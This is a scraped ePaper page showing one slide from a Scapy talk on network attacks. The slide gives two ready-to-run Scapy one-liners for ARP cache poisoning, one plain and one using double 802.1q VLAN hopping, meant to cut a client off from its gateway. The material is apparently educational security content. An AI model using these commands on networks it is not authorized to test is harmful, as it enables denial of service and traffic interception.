10.08.2015 Views

Packet generation and network based attacks with Scapy - SecDev.org

Packet generation and network based attacks with Scapy - SecDev.org

Packet generation and network based attacks with Scapy - SecDev.org

SHOW MORE
SHOW LESS
  • No tags were found...

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Introduction<strong>Scapy</strong>Network discovery <strong>and</strong> <strong>attacks</strong>One shotsScanningTTL tricksARP cache poisoning through VLAN hoppingThis attack prevents a client from joining the gateway by poisoningits ARP cache through a VLAN hopping attack.Classic ARP cache poisoningsend( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),inter=R<strong>and</strong>Num(10,40), loop=1 )ARP cache poisoning <strong>with</strong> double 802.1q encapsulationsend( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op="who-has", psrc=gateway, pdst=client),inter=R<strong>and</strong>Num(10,40), loop=1 )Philippe BIONDI<strong>Packet</strong> <strong>generation</strong> <strong>and</strong> <strong>network</strong> <strong>based</strong> <strong>attacks</strong> <strong>with</strong> <strong>Scapy</strong>

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!